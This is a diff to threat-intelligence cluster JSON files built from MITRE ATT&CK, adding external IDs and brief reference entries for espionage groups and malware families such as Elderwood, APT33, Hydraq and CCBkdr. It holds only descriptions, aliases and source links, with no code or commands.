"https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
- ]
+ ],
+ "external_id": "G0022"
},
"uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9"
},
@@ -622,7 +740,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0036",
"https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
- ]
+ ],
+ "external_id": "G0036"
},
"uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f"
},
@@ -641,7 +760,8 @@
"https://attack.mitre.org/wiki/Group/G0032",
"https://www.us-cert.gov/ncas/alerts/TA17-164A",
"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
- ]
+ ],
+ "external_id": "G0032"
},
"uuid": "c93fccb1-e8e8-42cf-ae33-2ad1d183913a"
},
@@ -656,7 +776,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0030",
"https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html"
- ]
+ ],
+ "external_id": "G0030"
},
"uuid": "88b7dbc2-32d3-4e31-af2f-3fc24e1582d7"
},
@@ -670,7 +791,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0020",
"https://securelist.com/files/2015/02/Equation%20group%20questions%20and%20answers.pdf"
- ]
+ ],
+ "external_id": "G0020"
},
"uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9"
},
@@ -684,7 +806,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0012",
"https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf"
- ]
+ ],
+ "external_id": "G0012"
},
"uuid": "9e729a7e-0dd6-4097-95bf-db8d64911383"
},
@@ -699,7 +822,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0035",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
- ]
+ ],
+ "external_id": "G0035"
},
"uuid": "1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1"
},
@@ -713,7 +837,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0039",
"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
- ]
+ ],
+ "external_id": "G0039"
},
"uuid": "5cbe0d3b-6fb1-471f-b591-4b192915116d"
},
@@ -727,7 +852,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0038",
"https://citizenlab.org/2016/05/stealth-falcon/"
- ]
+ ],
+ "external_id": "G0038"
},
"uuid": "894aab42-3371-47b1-8859-a4a074c804c8"
},
@@ -744,7 +870,8 @@
"https://attack.mitre.org/wiki/Group/G0060",
"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/",
"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
- ]
+ ],
+ "external_id": "G0060"
},
"uuid": "93f52415-0fe4-4d3d-896c-fc9b8e88ab90"
},
@@ -758,7 +885,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0029",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
- ]
+ ],
+ "external_id": "G0029"
},
"uuid": "c5574ca0-d5a4-490a-b207-e4658e5fd1d7"
},
@@ -773,7 +901,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0028",
"http://www.secureworks.com/resources/blog/living-off-the-land/"
- ]
+ ],
+ "external_id": "G0028"
},
"uuid": "d519164e-f5fa-4b8c-a1fb-cf0172ad0983"
},
@@ -790,10 +919,31 @@
"https://attack.mitre.org/wiki/Group/G0010",
"https://securelist.com/the-epic-turla-operation/65545/",
"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
- ]
+ ],
+ "external_id": "G0010"
},
"uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6"
},
+ {
+ "description": "Elderwood is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.",
+ "value": "Elderwood - G0066",
+ "meta": {
+ "synonyms": [
+ "Elderwood",
+ "Elderwood Gang",
+ "Beijing Group",
+ "Sneaky Panda"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0066",
+ "http://securityaffairs.co/wordpress/8528/hacking/elderwood-project-who-is-behind-op-aurora-and-ongoing-attacks.html",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China"
+ ],
+ "external_id": "G0066"
+ },
+ "uuid": "03506554-5f37-4f8f-9ce4-0e9f01a1b484"
+ },
{
"description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008. (Citation: F-Secure The Dukes) (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee starting in the summer of 2015. (Citation: Crowdstrike DNC June 2016)",
"value": "APT29 - G0016",
@@ -808,7 +958,8 @@
"https://attack.mitre.org/wiki/Group/G0016",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf",
"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
- ]
+ ],
+ "external_id": "G0016"
},
"uuid": "899ce53f-13a0-479b-a0e4-67d46e241542"
},
@@ -830,7 +981,8 @@
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
- ]
+ ],
+ "external_id": "G0045"
},
"uuid": "222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f"
},
@@ -846,7 +998,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0024",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
- ]
+ ],
+ "external_id": "G0024"
},
"uuid": "5ce5392a-3a6c-4e07-9df3-9b6a9159ac45"
},
@@ -864,7 +1017,8 @@
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf",
"https://securelist.com/games-are-over/70991/",
"http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
- ]
+ ],
+ "external_id": "G0001"
},
"uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973"
},
@@ -884,12 +1038,29 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0059",
"https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
- ]
+ ],
+ "external_id": "G0059"
},
"uuid": "f9d6633a-55e6-4adc-9263-6ae080421a13"
},
{
- "description": "is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)",
+ "description": "FIN8 is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)",
+ "value": "FIN8 - G0061",
+ "meta": {
+ "synonyms": [
+ "FIN8"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0061",
+ "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
+ "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html"
+ ],
+ "external_id": "G0061"
+ },
+ "uuid": "fd19bd82-1b14-49a1-a176-6cdc46b8a826"
+ },
+ {
+ "description": "PROMETHIUM is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. PROMETHIUM has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)",
"value": "PROMETHIUM - G0056",
"meta": {
"synonyms": [
@@ -899,7 +1070,8 @@
"https://attack.mitre.org/wiki/Group/G0056",
"https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/",
"http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
- ]
+ ],
+ "external_id": "G0056"
},
"uuid": "efed95ba-d7e8-47ff-8c53-99c42426ee7c"
},
@@ -916,10 +1088,27 @@
"https://attack.mitre.org/wiki/Group/G0008",
"https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
- ]
+ ],
+ "external_id": "G0008"
},
"uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c"
},
+ {
+ "description": "APT33 is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)",
+ "value": "APT33 - G0064",
+ "meta": {
+ "synonyms": [
+ "APT33"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0064",
+ "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html",
+ "https://www.brighttalk.com/webcast/10703/275683"
+ ],
+ "external_id": "G0064"
+ },
+ "uuid": "fbd29c89-18ba-4c2d-b792-51c0adee049f"
+ },
{
"description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical. (Citation: Dell Lateral Movement)",
"value": "APT18 - G0026",
@@ -933,10 +1122,28 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0026",
"http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
- ]
+ ],
+ "external_id": "G0026"
},
"uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648"
},
+ {
+ "description": "Leviathan is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)\n\nContributors: Valerii Marchuk, Cybersecurity Help s.r.o.",
+ "value": "Leviathan - G0065",
+ "meta": {
+ "synonyms": [
+ "Leviathan",
+ "TEMP.Periscope"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0065",
+ "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets",
+ "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"
+ ],
+ "external_id": "G0065"
+ },
+ "uuid": "7113eaa5-ba79-4fb3-b68a-398ee9cd698e"
+ },
{
"description": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
"value": "CopyKittens - G0052",
@@ -949,7 +1156,8 @@
"http://www.clearskysec.com/copykitten-jpost/",
"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf",
"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
- ]
+ ],
+ "external_id": "G0052"
},
"uuid": "dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a"
},
@@ -963,7 +1171,8 @@
"refs": [
"https://attack.mitre.org/wiki/Group/G0047",
"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
- ]
+ ],
+ "external_id": "G0047"
},
"uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf"
}
diff --git a/clusters/mitre-enterprise-attack-malware.json b/clusters/mitre-enterprise-attack-malware.json
index 8a6c6d9..89d736c 100644
--- a/clusters/mitre-enterprise-attack-malware.json
+++ b/clusters/mitre-enterprise-attack-malware.json
@@ -2,7 +2,7 @@
"name": "Enterprise Attack - Malware",
"type": "mitre-enterprise-attack-malware",
"description": "Name of ATT&CK software",
- "version": 3,
+ "version": 4,
"source": "https://github.com/mitre/cti",
"uuid": "fbd79f02-1707-11e8-b1c7-87406102276a",
"authors": [
@@ -17,6 +17,7 @@
"https://attack.mitre.org/wiki/Software/S0138",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
],
+ "external_id": "S0138",
"synonyms": [
"OLDBAIT",
"Sasfis"
@@ -32,6 +33,7 @@
"https://attack.mitre.org/wiki/Software/S0158",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
+ "external_id": "S0158",
"synonyms": [
"PHOREAL"
]
@@ -46,6 +48,7 @@
"https://attack.mitre.org/wiki/Software/S0050",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "external_id": "S0050",
"synonyms": [
"CosmicDuke",
"TinyBaron",
@@ -63,6 +66,7 @@
"https://attack.mitre.org/wiki/Software/S0132",
"http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities"
],
+ "external_id": "S0132",
"synonyms": [
"H1N1"
]
@@ -77,6 +81,7 @@
"https://attack.mitre.org/wiki/Software/S0035",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
+ "external_id": "S0035",
"synonyms": [
"SPACESHIP"
]
@@ -91,6 +96,7 @@
"https://attack.mitre.org/wiki/Software/S0087",
"http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html"
],
+ "external_id": "S0087",
"synonyms": [
"Hi-Zor"
]
@@ -105,6 +111,7 @@
"https://attack.mitre.org/wiki/Software/S0146",
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html"
],
+ "external_id": "S0146",
"synonyms": [
"DNSMessenger",
"TEXTMATE"
@@ -120,6 +127,7 @@
"https://attack.mitre.org/wiki/Software/S0056",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf"
],
+ "external_id": "S0056",
"synonyms": [
"Net Crawler",
"NetC"
@@ -135,6 +143,7 @@
"https://attack.mitre.org/wiki/Software/S0089",
"https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf"
],
+ "external_id": "S0089",
"synonyms": [
"BlackEnergy",
"Black Energy"
@@ -150,6 +159,7 @@
"https://attack.mitre.org/wiki/Software/S0161",
"https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/"
],
+ "external_id": "S0161",
"synonyms": [
"XAgentOSX"
]
@@ -164,6 +174,7 @@
"https://attack.mitre.org/wiki/Software/S0124",
"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/"
],
+ "external_id": "S0124",
"synonyms": [
"Pisloader"
]
@@ -178,6 +189,7 @@
"https://attack.mitre.org/wiki/Software/S0093",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
],
+ "external_id": "S0093",
"synonyms": [
"Backdoor.Oldrea",
"Havex"
@@ -186,13 +198,29 @@
"uuid": "083bb47b-02c8-4423-81a2-f9ef58572974"
},
{
- "description": "is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)\n\nAliases: Starloader\n\nContributors: Alan Neville, @abnev",
+ "description": "is a custom JavaScript backdoor used by Leviathan. (Citation: Proofpoint Leviathan Oct 2017)\n\nAliases: NanHaiShu",
+ "value": "NanHaiShu - S0228",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0228",
+ "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
+ ],
+ "external_id": "S0228",
+ "synonyms": [
+ "NanHaiShu"
+ ]
+ },
+ "uuid": "705f0783-5f7d-4491-b6b7-9628e6e006d2"
+ },
+ {
+ "description": "Starloader is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)\n\nAliases: Starloader\n\nContributors: Alan Neville, @abnev",
"value": "Starloader - S0188",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0188",
"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
],
+ "external_id": "S0188",
"synonyms": [
"Starloader"
]
@@ -209,6 +237,7 @@
"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
],
+ "external_id": "S0144",
"synonyms": [
"ChChes",
"Scorpion",
@@ -225,12 +254,37 @@
"https://attack.mitre.org/wiki/Software/S0047",
"http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/"
],
+ "external_id": "S0047",
"synonyms": [
"Hacking Team UEFI Rootkit"
]
},
"uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8"
},
+ {
+ "description": "Hydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)\n\nAliases: Hydraq, Aurora, 9002 RAT",
+ "value": "Hydraq - S0203",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0203",
+ "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ",
+ "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf",
+ "https://www.symantec.com/connect/blogs/trojanhydraq-incident",
+ "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf",
+ "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html",
+ "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures",
+ "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html",
+ "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/"
+ ],
+ "external_id": "S0203",
+ "synonyms": [
+ "Hydraq",
+ "Aurora",
+ "9002 RAT"
+ ]
+ },
+ "uuid": "73a4793a-ce55-4159-b2a6-208ef29b326f"
+ },
{
"description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)\n\nAliases: httpclient",
"value": "httpclient - S0068",
@@ -239,6 +293,7 @@
"https://attack.mitre.org/wiki/Software/S0068",
"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
],
+ "external_id": "S0068",
"synonyms": [
"httpclient"
]
@@ -253,6 +308,7 @@
"https://attack.mitre.org/wiki/Software/S0134",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
],
+ "external_id": "S0134",
"synonyms": [
"Downdelph",
"Delphacy"
@@ -260,6 +316,22 @@
},
"uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519"
},
+ {
+ "description": "CCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)\n\nAliases: CCBkdr",
+ "value": "CCBkdr - S0222",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0222",
+ "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html",
+ "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/"
+ ],
+ "external_id": "S0222",
+ "synonyms": [
+ "CCBkdr"
+ ]
+ },
+ "uuid": "b0f13390-cec7-4814-b37c-ccec01887faa"
+ },
{
"description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)\n\nAliases: StreamEx",
"value": "StreamEx - S0142",
@@ -268,6 +340,7 @@
"https://attack.mitre.org/wiki/Software/S0142",
"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
],
+ "external_id": "S0142",
"synonyms": [
"StreamEx"
]
@@ -282,6 +355,7 @@
"https://attack.mitre.org/wiki/Software/S0078",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
+ "external_id": "S0078",
"synonyms": [
"Psylo"
]
@@ -296,6 +370,7 @@
"https://attack.mitre.org/wiki/Software/S0061",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
+ "external_id": "S0061",
"synonyms": [
"HDoor",
"Custom HDoor"
@@ -303,6 +378,22 @@
},
"uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b"
},
+ {
+ "description": "Smoke Loader is a bot that has been seen in the wild since at least 2011 and has included a number of different payloads. It is notorious for its use of deception and self-protection. (Citation: Malwarebytes SmokeLoader 2016)\n\nAliases: Smoke Loader, Dofoil",
+ "value": "Smoke Loader - S0226",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0226",
+ "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/"
+ ],
+ "external_id": "S0226",
+ "synonyms": [
+ "Smoke Loader",
+ "Dofoil"
+ ]
+ },
+ "uuid": "0c824410-58ff-49b2-9cf2-1c96b182bdf0"
+ },
{
"description": " (Citation: Janicab) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)\n\nAliases: (Citation: Janicab)",
"value": "Janicab - S0163",
@@ -311,12 +402,28 @@
"https://attack.mitre.org/wiki/Software/S0163",
"http://www.thesafemac.com/new-signed-malware-called-janicab/"
],
+ "external_id": "S0163",
"synonyms": [
"Janicab"
]
},
"uuid": "234e7770-99b0-4f65-b983-d3230f76a60b"
},
+ {
+ "description": "is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)\n\nAliases: WINERACK",
+ "value": "WINERACK - S0219",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0219",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
+ ],
+ "external_id": "S0219",
+ "synonyms": [
+ "WINERACK"
+ ]
+ },
+ "uuid": "49abab73-3c5c-476e-afd5-69b5c732d845"
+ },
{
"description": "WINDSHIELD is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: WINDSHIELD",
"value": "WINDSHIELD - S0155",
@@ -325,6 +432,7 @@
"https://attack.mitre.org/wiki/Software/S0155",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
+ "external_id": "S0155",
"synonyms": [
"WINDSHIELD"
]
@@ -339,6 +447,7 @@
"https://attack.mitre.org/wiki/Software/S0004",
"https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf"
],
+ "external_id": "S0004",
"synonyms": [
"TinyZBot"
]
@@ -353,6 +462,7 @@
"https://attack.mitre.org/wiki/Software/S0031",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
+ "external_id": "S0031",
"synonyms": [
"BACKSPACE",
"Lecna"
@@ -360,6 +470,22 @@
},
"uuid": "fb261c56-b80e-43a9-8351-c84081e7213d"
},
+ {
+ "description": "ZeroT is a Trojan used by TA459, often in conjunction with PlugX. (Citation: Proofpoint TA459 April 2017) (Citation: Proofpoint ZeroT Feb 2017)\n\nAliases: ZeroT",
+ "value": "ZeroT - S0230",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0230",
+ "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
+ "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
+ ],
+ "external_id": "S0230",
+ "synonyms": [
+ "ZeroT"
+ ]
+ },
+ "uuid": "4ab44516-ad75-4e43-a280-705dc0420e2f"
+ },
{
"description": "PinchDuke is malware that was used by APT29 from 2008 to 2010. (Citation: F-Secure The Dukes)\n\nAliases: PinchDuke",
"value": "PinchDuke - S0048",
@@ -368,6 +494,7 @@
"https://attack.mitre.org/wiki/Software/S0048",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
+ "external_id": "S0048",
"synonyms": [
"PinchDuke"
]
@@ -383,6 +510,7 @@
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf",
"https://securelist.com/minidionis-one-more-apt-with-a-usage-of-cloud-drives/71443/"
],
+ "external_id": "S0054",
"synonyms": [
"CloudDuke",
"MiniDionis",
@@ -400,6 +528,7 @@
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
"https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
],
+ "external_id": "S0153",
"synonyms": [
"RedLeaves",
"BUGJUICE"
@@ -415,6 +544,7 @@
"https://attack.mitre.org/wiki/Software/S0059",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
+ "external_id": "S0059",
"synonyms": [
"WinMM"
]
@@ -429,6 +559,7 @@
"https://attack.mitre.org/wiki/Software/S0079",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
+ "external_id": "S0079",
"synonyms": [
"MobileOrder"
]
@@ -443,6 +574,7 @@
"https://attack.mitre.org/wiki/Software/S0060",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
+ "external_id": "S0060",
"synonyms": [
"Sys10"
]
@@ -457,12 +589,28 @@
"https://attack.mitre.org/wiki/Software/S0038",
"https://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/w32%20duqu%20the%20precursor%20to%20the%20next%20stuxnet.pdf"
],
+ "external_id": "S0038",
"synonyms": [
"Duqu"
]
},
"uuid": "68dca94f-c11d-421e-9287-7c501108e18c"
},
+ {
+ "description": "is a downloader used by APT37 to target South Korean government and financial victims in November 2016. (Citation: FireEye APT37 Feb 2018)\n\nAliases: HAPPYWORK",
+ "value": "HAPPYWORK - S0214",
+ "meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Software/S0214",
+ "https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf"
+ ],
+ "external_id": "S0214",
+ "synonyms": [
+ "HAPPYWORK"
+ ]
+ },
+ "uuid": "211cfe9f-2676-4e1c-a5f5-2c8091da2a68"
+ },
{
"description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: FakeM",
"value": "FakeM - S0076",
@@ -471,6 +619,7 @@
"https://attack.mitre.org/wiki/Software/S0076",
"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
],
+ "external_id": "S0076",
"synonyms": [
"FakeM"
]
@@ -485,6 +634,7 @@
"https://attack.mitre.org/wiki/Software/S0028",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
+ "external_id": "S0028",
"synonyms": [
"SHIPSHAPE"
]
@@ -500,6 +650,7 @@
"https://www.fireeye.com/blog/threat-research/2014/03/spear-phishing-the-news-cycle-apt-actors-leverage-interest-in-the-disappearance-of-malaysian-flight-mh-370.html",
"http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"
],
+ "external_id": "S0098",
"synonyms": [
"T9000"
]
@@ -514,6 +665,7 @@
"https://attack.mitre.org/wiki/Software/S0152",
"https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
],
+ "external_id": "S0152",
"synonyms": [
"EvilGrab"
]
@@ -528,6 +680,7 @@
"https://attack.mitre.org/wiki/Software/S0014",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf"
],
+ "external_id": "S0014",
"synonyms": [
"BS2005"
]
@@ -542,6 +695,7 @@
"https://attack.mitre.org/wiki/Software/S0109",
